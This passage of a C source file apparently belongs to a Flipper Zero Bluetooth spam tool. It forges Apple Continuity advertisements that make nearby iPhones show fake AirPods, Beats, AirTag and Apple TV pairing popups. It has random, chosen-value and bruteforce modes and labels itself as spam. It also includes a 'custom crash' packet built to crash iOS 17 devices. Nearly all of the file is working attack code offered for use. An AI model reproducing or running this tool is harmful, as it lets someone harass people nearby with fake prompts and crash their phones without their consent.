continuity.c 46 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305
  1. #include "continuity.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL
  4. // iOS 17 Crash by @ECTO-1A
  5. // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
  6. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  7. typedef struct {
  8. uint8_t value;
  9. const char* name;
  10. } ContinuityColor;
  11. static const ContinuityColor colors_white[] = {
  12. {0x00, "White"},
  13. };
  14. static const ContinuityColor colors_airpods_max[] = {
  15. {0x00, "White"},
  16. {0x02, "Red"},
  17. {0x03, "Blue"},
  18. {0x0F, "Black"},
  19. {0x11, "Light Green"},
  20. };
  21. static const ContinuityColor colors_beats_flex[] = {
  22. {0x00, "White"},
  23. {0x01, "Black"},
  24. };
  25. static const ContinuityColor colors_beats_solo_3[] = {
  26. {0x00, "White"},
  27. {0x01, "Black"},
  28. {0x6, "Gray"},
  29. {0x7, "Gold/White"},
  30. {0x8, "Rose Gold"},
  31. {0x09, "Black"},
  32. {0xE, "Violet/White"},
  33. {0xF, "Bright Red"},
  34. {0x12, "Dark Red"},
  35. {0x13, "Swamp Green"},
  36. {0x14, "Dark Gray"},
  37. {0x15, "Dark Blue"},
  38. {0x1D, "Rose Gold 2"},
  39. {0x20, "Blue/Green"},
  40. {0x21, "Purple/Orange"},
  41. {0x22, "Deep Blue/ Light blue"},
  42. {0x23, "Magenta/Light Fuchsia"},
  43. {0x25, "Black/Red"},
  44. {0x2A, "Gray / Disney LTD"},
  45. {0x2E, "Pinkish white"},
  46. {0x3D, "Red/Blue"},
  47. {0x3E, "Yellow/Blue"},
  48. {0x3F, "White/Red"},
  49. {0x40, "Purple/White"},
  50. {0x5B, "Gold"},
  51. {0x5C, "Silver"},
  52. };
  53. static const ContinuityColor colors_powerbeats_3[] = {
  54. {0x00, "White"},
  55. {0x01, "Black"},
  56. {0x0B, "Gray/Blue"},
  57. {0x0C, "Gray/Red"},
  58. {0x0D, "Gray/Green"},
  59. {0x12, "Red"},
  60. {0x13, "Swamp Green"},
  61. {0x14, "Gray"},
  62. {0x15, "Deep Blue"},
  63. {0x17, "Dark with Gold Logo"},
  64. };
  65. static const ContinuityColor colors_powerbeats_pro[] = {
  66. {0x00, "White"},
  67. {0x02, "Yellowish Green"},
  68. {0x03, "Blue"},
  69. {0x04, "Black"},
  70. {0x05, "Pink"},
  71. {0x06, "Red"},
  72. {0x0B, "Gray ?"},
  73. {0x0D, "Sky Blue"},
  74. };
  75. static const ContinuityColor colors_beats_solo_pro[] = {
  76. {0x00, "White"},
  77. {0x01, "Black"},
  78. };
  79. static const ContinuityColor colors_beats_studio_buds[] = {
  80. {0x00, "White"},
  81. {0x01, "Black"},
  82. {0x02, "Red"},
  83. {0x03, "Blue"},
  84. {0x04, "Pink"},
  85. {0x06, "Silver"},
  86. };
  87. static const ContinuityColor colors_beats_x[] = {
  88. {0x00, "White"},
  89. {0x01, "Black"},
  90. {0x02, "Blue"},
  91. {0x05, "Gray"},
  92. {0x1D, "Pink"},
  93. {0x25, "Dark/Red"},
  94. };
  95. static const ContinuityColor colors_beats_studio_3[] = {
  96. {0x00, "White"},
  97. {0x01, "Black"},
  98. {0x02, "Red"},
  99. {0x03, "Blue"},
  100. {0x18, "Shadow Gray"},
  101. {0x19, "Desert Sand"},
  102. {0x25, "Black / Red"},
  103. {0x26, "Midnight Black"},
  104. {0x27, "Desert Sand 2"},
  105. {0x28, "Gray"},
  106. {0x29, "Clear blue/ gold"},
  107. {0x42, "Green Forest camo"},
  108. {0x43, "White Camo"},
  109. };
  110. static const ContinuityColor colors_beats_studio_pro[] = {
  111. {0x00, "White"},
  112. {0x01, "Black"},
  113. };
  114. static const ContinuityColor colors_beats_fit_pro[] = {
  115. {0x00, "White"},
  116. {0x01, "Black"},
  117. {0x02, "Pink"},
  118. {0x03, "Grey/White"},
  119. {0x04, "Full Pink"},
  120. {0x05, "Neon Green"},
  121. {0x06, "Night Blue"},
  122. {0x07, "Light Pink"},
  123. {0x08, "Brown"},
  124. {0x09, "Dark Brown"},
  125. };
  126. static const ContinuityColor colors_beats_studio_buds_[] = {
  127. {0x00, "Black"},
  128. {0x01, "White"},
  129. {0x02, "Transparent"},
  130. {0x03, "Silver"},
  131. {0x04, "Pink"},
  132. };
  133. static const struct {
  134. uint16_t value;
  135. const char* name;
  136. const ContinuityColor* colors;
  137. const uint8_t colors_count;
  138. } pp_models[] = {
  139. {0x0E20, "AirPods Pro", colors_white, COUNT_OF(colors_white)},
  140. {0x0A20, "AirPods Max", colors_airpods_max, COUNT_OF(colors_airpods_max)},
  141. {0x0055, "Airtag", colors_white, COUNT_OF(colors_white)},
  142. {0x0030, "Hermes Airtag", colors_white, COUNT_OF(colors_white)},
  143. {0x0220, "AirPods", colors_white, COUNT_OF(colors_white)},
  144. {0x0F20, "AirPods 2nd Gen", colors_white, COUNT_OF(colors_white)},
  145. {0x1320, "AirPods 3rd Gen", colors_white, COUNT_OF(colors_white)},
  146. {0x1420, "AirPods Pro 2nd Gen", colors_white, COUNT_OF(colors_white)},
  147. {0x1020, "Beats Flex", colors_beats_flex, COUNT_OF(colors_beats_flex)},
  148. {0x0620, "Beats Solo 3", colors_beats_solo_3, COUNT_OF(colors_beats_solo_3)},
  149. {0x0320, "Powerbeats 3", colors_powerbeats_3, COUNT_OF(colors_powerbeats_3)},
  150. {0x0B20, "Powerbeats Pro", colors_powerbeats_pro, COUNT_OF(colors_powerbeats_pro)},
  151. {0x0C20, "Beats Solo Pro", colors_beats_solo_pro, COUNT_OF(colors_beats_solo_pro)},
  152. {0x1120, "Beats Studio Buds", colors_beats_studio_buds, COUNT_OF(colors_beats_studio_buds)},
  153. {0x0520, "Beats X", colors_beats_x, COUNT_OF(colors_beats_x)},
  154. {0x0920, "Beats Studio 3", colors_beats_studio_3, COUNT_OF(colors_beats_studio_3)},
  155. {0x1720, "Beats Studio Pro", colors_beats_studio_pro, COUNT_OF(colors_beats_studio_pro)},
  156. {0x1220, "Beats Fit Pro", colors_beats_fit_pro, COUNT_OF(colors_beats_fit_pro)},
  157. {0x1620, "Beats Studio Buds+", colors_beats_studio_buds_, COUNT_OF(colors_beats_studio_buds_)},
  158. };
  159. static const uint8_t pp_models_count = COUNT_OF(pp_models);
  160. static const struct {
  161. uint8_t value;
  162. const char* name;
  163. } pp_prefixes[] = {
  164. {0x07, "New Device"},
  165. {0x01, "Not Your Device"},
  166. {0x05, "New Airtag"},
  167. };
  168. static const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
  169. static const struct {
  170. uint8_t value;
  171. const char* name;
  172. } na_actions[] = {
  173. {0x13, "AppleTV AutoFill"},
  174. {0x24, "Apple Vision Pro"},
  175. {0x05, "Apple Watch"},
  176. {0x27, "AppleTV Connecting..."},
  177. {0x20, "Join This AppleTV?"},
  178. {0x19, "AppleTV Audio Sync"},
  179. {0x1E, "AppleTV Color Balance"},
  180. {0x09, "Setup New iPhone"},
  181. {0x2F, "Sign in to other device"},
  182. {0x02, "Transfer Phone Number"},
  183. {0x0B, "HomePod Setup"},
  184. {0x01, "Setup New AppleTV"},
  185. {0x06, "Pair AppleTV"},
  186. {0x0D, "HomeKit AppleTV Setup"},
  187. {0x2B, "AppleID for AppleTV?"},
  188. };
  189. static const uint8_t na_actions_count = COUNT_OF(na_actions);
  190. static const char* type_names[ContinuityTypeCOUNT] = {
  191. [ContinuityTypeAirDrop] = "AirDrop",
  192. [ContinuityTypeProximityPair] = "Continuity Pair",
  193. [ContinuityTypeAirplayTarget] = "Airplay Target",
  194. [ContinuityTypeHandoff] = "Handoff",
  195. [ContinuityTypeTetheringSource] = "Tethering Source",
  196. [ContinuityTypeNearbyAction] = "Continuity Action",
  197. [ContinuityTypeNearbyInfo] = "Nearby Info",
  198. [ContinuityTypeCustomCrash] = "Continuity Custom",
  199. };
  200. static const char* get_name(const Payload* payload) {
  201. const ContinuityCfg* cfg = &payload->cfg.continuity;
  202. return type_names[cfg->type];
  203. }
  204. #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
  205. static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
  206. [ContinuityTypeAirDrop] = HEADER_LEN + 18,
  207. [ContinuityTypeProximityPair] = HEADER_LEN + 25,
  208. [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
  209. [ContinuityTypeHandoff] = HEADER_LEN + 14,
  210. [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
  211. [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
  212. [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
  213. [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
  214. };
  215. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  216. ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
  217. ContinuityType type;
  218. if(cfg && cfg->type != 0x00) {
  219. type = cfg->type;
  220. } else {
  221. const ContinuityType types[] = {
  222. ContinuityTypeProximityPair,
  223. ContinuityTypeNearbyAction,
  224. ContinuityTypeCustomCrash,
  225. };
  226. type = types[rand() % COUNT_OF(types)];
  227. }
  228. uint8_t size = packet_sizes[type];
  229. uint8_t* packet = malloc(size);
  230. uint8_t i = 0;
  231. packet[i++] = size - 1; // Size
  232. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  233. packet[i++] = 0x4C; // Company ID (Apple, Inc.)
  234. packet[i++] = 0x00; // ...
  235. packet[i++] = type; // Continuity Type
  236. packet[i] = size - i - 1; // Continuity Size
  237. i++;
  238. switch(type) {
  239. case ContinuityTypeAirDrop: {
  240. packet[i++] = 0x00; // Zeros
  241. packet[i++] = 0x00; // ...
  242. packet[i++] = 0x00; // ...
  243. packet[i++] = 0x00; // ...
  244. packet[i++] = 0x00; // ...
  245. packet[i++] = 0x00; // ...
  246. packet[i++] = 0x00; // ...
  247. packet[i++] = 0x00; // ...
  248. packet[i++] = 0x01; // Version
  249. packet[i++] = (rand() % 256); // AppleID
  250. packet[i++] = (rand() % 256); // ...
  251. packet[i++] = (rand() % 256); // Phone Number
  252. packet[i++] = (rand() % 256); // ...
  253. packet[i++] = (rand() % 256); // Email
  254. packet[i++] = (rand() % 256); // ...
  255. packet[i++] = (rand() % 256); // Email2
  256. packet[i++] = (rand() % 256); // ...
  257. packet[i++] = 0x00; // Zero
  258. break;
  259. }
  260. case ContinuityTypeProximityPair: {
  261. uint16_t model;
  262. uint8_t color;
  263. switch(payload ? payload->mode : PayloadModeRandom) {
  264. case PayloadModeRandom:
  265. default: {
  266. uint8_t model_index = rand() % pp_models_count;
  267. uint8_t color_index = rand() % pp_models[model_index].colors_count;
  268. model = pp_models[model_index].value;
  269. color = pp_models[model_index].colors[color_index].value;
  270. break;
  271. }
  272. case PayloadModeValue:
  273. model = cfg->data.proximity_pair.model;
  274. color = cfg->data.proximity_pair.color;
  275. break;
  276. case PayloadModeBruteforce:
  277. switch(cfg->data.proximity_pair.bruteforce_mode) {
  278. case ContinuityPpBruteforceModel:
  279. default:
  280. model = cfg->data.proximity_pair.model = payload->bruteforce.value;
  281. color = cfg->data.proximity_pair.color;
  282. break;
  283. case ContinuityPpBruteforceColor:
  284. model = cfg->data.proximity_pair.model;
  285. color = cfg->data.proximity_pair.color = payload->bruteforce.value;
  286. break;
  287. }
  288. break;
  289. }
  290. uint8_t prefix;
  291. if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
  292. prefix = cfg->data.proximity_pair.prefix;
  293. } else {
  294. if(model == 0x0055 || model == 0x0030)
  295. prefix = 0x05;
  296. else
  297. prefix = 0x01;
  298. }
  299. packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  300. packet[i++] = (model >> 0x08) & 0xFF; // Device Model
  301. packet[i++] = (model >> 0x00) & 0xFF; // ...
  302. packet[i++] = 0x55; // Status
  303. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  304. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  305. packet[i++] = (rand() % 256); // Lid Open Counter
  306. packet[i++] = color; // Device Color
  307. packet[i++] = 0x00;
  308. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  309. i += 16;
  310. break;
  311. }
  312. case ContinuityTypeAirplayTarget: {
  313. packet[i++] = (rand() % 256); // Flags
  314. packet[i++] = (rand() % 256); // Configuration Seed
  315. packet[i++] = (rand() % 256); // IPv4 Address
  316. packet[i++] = (rand() % 256); // ...
  317. packet[i++] = (rand() % 256); // ...
  318. packet[i++] = (rand() % 256); // ...
  319. break;
  320. }
  321. case ContinuityTypeHandoff: {
  322. packet[i++] = 0x01; // Version
  323. packet[i++] = (rand() % 256); // Initialization Vector
  324. packet[i++] = (rand() % 256); // ...
  325. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  326. packet[i++] = (rand() % 256); // Encrypted Payload
  327. packet[i++] = (rand() % 256); // ...
  328. packet[i++] = (rand() % 256); // ...
  329. packet[i++] = (rand() % 256); // ...
  330. packet[i++] = (rand() % 256); // ...
  331. packet[i++] = (rand() % 256); // ...
  332. packet[i++] = (rand() % 256); // ...
  333. packet[i++] = (rand() % 256); // ...
  334. packet[i++] = (rand() % 256); // ...
  335. packet[i++] = (rand() % 256); // ...
  336. break;
  337. }
  338. case ContinuityTypeTetheringSource: {
  339. packet[i++] = 0x01; // Version
  340. packet[i++] = (rand() % 256); // Flags
  341. packet[i++] = (rand() % 101); // Battery Life
  342. packet[i++] = 0x00; // Cell Service Type
  343. packet[i++] = (rand() % 8); // ...
  344. packet[i++] = (rand() % 5); // Cell Service Strength
  345. break;
  346. }
  347. case ContinuityTypeNearbyAction: {
  348. uint8_t action;
  349. switch(payload ? payload->mode : PayloadModeRandom) {
  350. case PayloadModeRandom:
  351. default:
  352. action = na_actions[rand() % na_actions_count].value;
  353. break;
  354. case PayloadModeValue:
  355. action = cfg->data.nearby_action.action;
  356. break;
  357. case PayloadModeBruteforce:
  358. action = cfg->data.nearby_action.action = payload->bruteforce.value;
  359. break;
  360. }
  361. uint8_t flags;
  362. if(cfg && cfg->data.nearby_action.flags != 0x00) {
  363. flags = cfg->data.nearby_action.flags;
  364. } else {
  365. flags = 0xC0;
  366. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  367. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  368. }
  369. packet[i++] = flags; // Action Flags
  370. packet[i++] = action; // Action Type
  371. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  372. i += 3;
  373. break;
  374. }
  375. case ContinuityTypeNearbyInfo: {
  376. packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
  377. packet[i++] = (rand() % 256); // Status Flags
  378. packet[i++] = (rand() % 256); // Authentication Tag
  379. packet[i++] = (rand() % 256); // ...
  380. packet[i++] = (rand() % 256); // ...
  381. break;
  382. }
  383. case ContinuityTypeCustomCrash: {
  384. // Found by @ECTO-1A
  385. uint8_t action = na_actions[rand() % na_actions_count].value;
  386. uint8_t flags = 0xC0;
  387. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  388. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  389. i -= 2; // Override segment header
  390. packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
  391. packet[i++] = 5; // Continuity Size
  392. packet[i++] = flags; // Action Flags
  393. packet[i++] = action; // Action Type
  394. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  395. i += 3;
  396. packet[i++] = 0x00; // Additional Action Data Terminator (?)
  397. packet[i++] = 0x00; // ...
  398. packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
  399. furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
  400. i += 3;
  401. break;
  402. }
  403. default:
  404. break;
  405. }
  406. *_size = size;
  407. *_packet = packet;
  408. }
  409. enum {
  410. _ConfigPpExtraStart = ConfigExtraStart,
  411. ConfigPpModel,
  412. ConfigPpColor,
  413. ConfigPpPrefix,
  414. ConfigPpCOUNT,
  415. };
  416. enum {
  417. _ConfigNaExtraStart = ConfigExtraStart,
  418. ConfigNaAction,
  419. ConfigNaFlags,
  420. ConfigNaCOUNT,
  421. };
  422. enum {
  423. _ConfigCcExtraStart = ConfigExtraStart,
  424. ConfigCcInfoFixed,
  425. ConfigCcInfoLock,
  426. ConfigCcInfoDevice,
  427. ConfigCcCOUNT,
  428. };
  429. static void config_callback(void* _ctx, uint32_t index) {
  430. Ctx* ctx = _ctx;
  431. Payload* payload = &ctx->attack->payload;
  432. ContinuityCfg* cfg = &payload->cfg.continuity;
  433. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  434. switch(cfg->type) {
  435. case ContinuityTypeProximityPair: {
  436. switch(index) {
  437. case ConfigPpModel:
  438. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
  439. break;
  440. case ConfigPpColor:
  441. if(payload->mode != PayloadModeRandom)
  442. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColor);
  443. break;
  444. case ConfigPpPrefix:
  445. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
  446. break;
  447. default:
  448. ctx->fallback_config_enter(ctx, index);
  449. break;
  450. }
  451. break;
  452. }
  453. case ContinuityTypeNearbyAction: {
  454. switch(index) {
  455. case ConfigNaAction:
  456. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
  457. break;
  458. case ConfigNaFlags:
  459. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
  460. break;
  461. default:
  462. ctx->fallback_config_enter(ctx, index);
  463. break;
  464. }
  465. break;
  466. }
  467. case ContinuityTypeCustomCrash: {
  468. switch(index) {
  469. case ConfigCcInfoLock:
  470. case ConfigCcInfoDevice:
  471. break;
  472. default:
  473. ctx->fallback_config_enter(ctx, index);
  474. break;
  475. }
  476. break;
  477. }
  478. default:
  479. ctx->fallback_config_enter(ctx, index);
  480. break;
  481. }
  482. }
  483. static void pp_model_changed(VariableItem* item) {
  484. Ctx* ctx = variable_item_get_context(item);
  485. Payload* payload = &ctx->attack->payload;
  486. ContinuityCfg* cfg = &payload->cfg.continuity;
  487. uint8_t index = variable_item_get_current_value_index(item);
  488. const char* color_name = NULL;
  489. char color_name_buf[3];
  490. uint8_t colors_count;
  491. uint8_t value_index_color;
  492. if(index) {
  493. index--;
  494. if(payload->mode != PayloadModeBruteforce ||
  495. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  496. payload->mode = PayloadModeValue;
  497. cfg->data.proximity_pair.model = pp_models[index].value;
  498. variable_item_set_current_value_text(item, pp_models[index].name);
  499. colors_count = pp_models[index].colors_count;
  500. if(payload->mode == PayloadModeValue) {
  501. for(uint8_t j = 0; j < colors_count; j++) {
  502. if(cfg->data.proximity_pair.color == pp_models[index].colors[j].value) {
  503. color_name = pp_models[index].colors[j].name;
  504. value_index_color = j;
  505. break;
  506. }
  507. }
  508. if(!color_name) {
  509. snprintf(
  510. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  511. color_name = color_name_buf;
  512. value_index_color = colors_count;
  513. }
  514. } else {
  515. color_name = "Bruteforce";
  516. value_index_color = colors_count;
  517. }
  518. } else {
  519. payload->mode = PayloadModeRandom;
  520. variable_item_set_current_value_text(item, "Random");
  521. color_name = "Random";
  522. colors_count = 1;
  523. value_index_color = 0;
  524. }
  525. item = variable_item_list_get(ctx->variable_item_list, ConfigPpColor);
  526. variable_item_set_values_count(item, colors_count);
  527. variable_item_set_current_value_index(item, value_index_color);
  528. variable_item_set_current_value_text(item, color_name);
  529. }
  530. static void pp_color_changed(VariableItem* item) {
  531. Payload* payload = variable_item_get_context(item);
  532. ContinuityCfg* cfg = &payload->cfg.continuity;
  533. uint8_t index = variable_item_get_current_value_index(item);
  534. if(payload->mode != PayloadModeBruteforce ||
  535. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  536. payload->mode = PayloadModeValue;
  537. uint8_t model_index = 0;
  538. for(; model_index < pp_models_count; model_index++) {
  539. if(cfg->data.proximity_pair.model == pp_models[model_index].value) break;
  540. }
  541. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  542. variable_item_set_current_value_text(item, pp_models[model_index].colors[index].name);
  543. }
  544. static void pp_prefix_changed(VariableItem* item) {
  545. Payload* payload = variable_item_get_context(item);
  546. ContinuityCfg* cfg = &payload->cfg.continuity;
  547. uint8_t index = variable_item_get_current_value_index(item);
  548. if(index) {
  549. index--;
  550. cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
  551. variable_item_set_current_value_text(item, pp_prefixes[index].name);
  552. } else {
  553. cfg->data.proximity_pair.prefix = 0x00;
  554. variable_item_set_current_value_text(item, "Auto");
  555. }
  556. }
  557. static void na_action_changed(VariableItem* item) {
  558. Payload* payload = variable_item_get_context(item);
  559. ContinuityCfg* cfg = &payload->cfg.continuity;
  560. uint8_t index = variable_item_get_current_value_index(item);
  561. if(index) {
  562. index--;
  563. payload->mode = PayloadModeValue;
  564. cfg->data.nearby_action.action = na_actions[index].value;
  565. variable_item_set_current_value_text(item, na_actions[index].name);
  566. } else {
  567. payload->mode = PayloadModeRandom;
  568. variable_item_set_current_value_text(item, "Random");
  569. }
  570. }
  571. static void extra_config(Ctx* ctx) {
  572. Payload* payload = &ctx->attack->payload;
  573. ContinuityCfg* cfg = &payload->cfg.continuity;
  574. VariableItemList* list = ctx->variable_item_list;
  575. VariableItem* item;
  576. uint8_t value_index;
  577. switch(cfg->type) {
  578. case ContinuityTypeProximityPair: {
  579. item =
  580. variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, ctx);
  581. const char* model_name = NULL;
  582. char model_name_buf[5];
  583. const char* color_name = NULL;
  584. char color_name_buf[3];
  585. uint8_t colors_count;
  586. uint8_t value_index_color;
  587. switch(payload->mode) {
  588. case PayloadModeRandom:
  589. default:
  590. model_name = "Random";
  591. value_index = 0;
  592. color_name = "Random";
  593. colors_count = 1;
  594. value_index_color = 0;
  595. break;
  596. case PayloadModeValue:
  597. for(uint8_t i = 0; i < pp_models_count; i++) {
  598. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  599. model_name = pp_models[i].name;
  600. value_index = i + 1;
  601. colors_count = pp_models[i].colors_count;
  602. for(uint8_t j = 0; j < colors_count; j++) {
  603. if(cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  604. color_name = pp_models[i].colors[j].name;
  605. value_index_color = j;
  606. break;
  607. }
  608. }
  609. break;
  610. }
  611. }
  612. if(!model_name) {
  613. snprintf(
  614. model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
  615. model_name = model_name_buf;
  616. value_index = pp_models_count + 1;
  617. colors_count = 0;
  618. }
  619. if(!color_name) {
  620. snprintf(
  621. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  622. color_name = color_name_buf;
  623. value_index_color = colors_count;
  624. }
  625. break;
  626. case PayloadModeBruteforce:
  627. switch(cfg->data.proximity_pair.bruteforce_mode) {
  628. case ContinuityPpBruteforceModel:
  629. default:
  630. model_name = "Bruteforce";
  631. value_index = pp_models_count + 1;
  632. snprintf(
  633. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  634. color_name = color_name_buf;
  635. colors_count = 1;
  636. value_index_color = 0;
  637. break;
  638. case ContinuityPpBruteforceColor:
  639. for(uint8_t i = 0; i < pp_models_count; i++) {
  640. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  641. model_name = pp_models[i].name;
  642. value_index = i + 1;
  643. colors_count = pp_models[i].colors_count;
  644. break;
  645. }
  646. }
  647. if(!model_name) {
  648. snprintf(
  649. model_name_buf,
  650. sizeof(model_name_buf),
  651. "%04X",
  652. cfg->data.proximity_pair.model);
  653. model_name = model_name_buf;
  654. value_index = pp_models_count + 1;
  655. colors_count = 0;
  656. }
  657. color_name = "Bruteforce";
  658. value_index_color = colors_count;
  659. break;
  660. }
  661. break;
  662. }
  663. variable_item_set_current_value_index(item, value_index);
  664. variable_item_set_current_value_text(item, model_name);
  665. item =
  666. variable_item_list_add(list, "Device Color", colors_count, pp_color_changed, payload);
  667. variable_item_set_current_value_index(item, value_index_color);
  668. variable_item_set_current_value_text(item, color_name);
  669. item = variable_item_list_add(
  670. list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
  671. const char* prefix_name = NULL;
  672. char prefix_name_buf[3];
  673. if(cfg->data.proximity_pair.prefix == 0x00) {
  674. prefix_name = "Auto";
  675. value_index = 0;
  676. } else {
  677. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  678. if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  679. prefix_name = pp_prefixes[i].name;
  680. value_index = i + 1;
  681. break;
  682. }
  683. }
  684. if(!prefix_name) {
  685. snprintf(
  686. prefix_name_buf,
  687. sizeof(prefix_name_buf),
  688. "%02X",
  689. cfg->data.proximity_pair.prefix);
  690. prefix_name = prefix_name_buf;
  691. value_index = pp_prefixes_count + 1;
  692. }
  693. }
  694. variable_item_set_current_value_index(item, value_index);
  695. variable_item_set_current_value_text(item, prefix_name);
  696. break;
  697. }
  698. case ContinuityTypeNearbyAction: {
  699. item = variable_item_list_add(
  700. list, "Action Type", na_actions_count + 1, na_action_changed, payload);
  701. const char* action_name = NULL;
  702. char action_name_buf[3];
  703. switch(payload->mode) {
  704. case PayloadModeRandom:
  705. default:
  706. action_name = "Random";
  707. value_index = 0;
  708. break;
  709. case PayloadModeValue:
  710. for(uint8_t i = 0; i < na_actions_count; i++) {
  711. if(cfg->data.nearby_action.action == na_actions[i].value) {
  712. action_name = na_actions[i].name;
  713. value_index = i + 1;
  714. break;
  715. }
  716. }
  717. if(!action_name) {
  718. snprintf(
  719. action_name_buf,
  720. sizeof(action_name_buf),
  721. "%02X",
  722. cfg->data.nearby_action.action);
  723. action_name = action_name_buf;
  724. value_index = na_actions_count + 1;
  725. }
  726. break;
  727. case PayloadModeBruteforce:
  728. action_name = "Bruteforce";
  729. value_index = na_actions_count + 1;
  730. break;
  731. }
  732. variable_item_set_current_value_index(item, value_index);
  733. variable_item_set_current_value_text(item, action_name);
  734. item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
  735. const char* flags_name = NULL;
  736. char flags_name_buf[3];
  737. if(cfg->data.nearby_action.flags == 0x00) {
  738. flags_name = "Auto";
  739. } else {
  740. snprintf(
  741. flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
  742. flags_name = flags_name_buf;
  743. }
  744. variable_item_set_current_value_text(item, flags_name);
  745. break;
  746. }
  747. case ContinuityTypeCustomCrash: {
  748. variable_item_list_add(list, "CRASH FIXED IN IOS 17.2", 0, NULL, NULL);
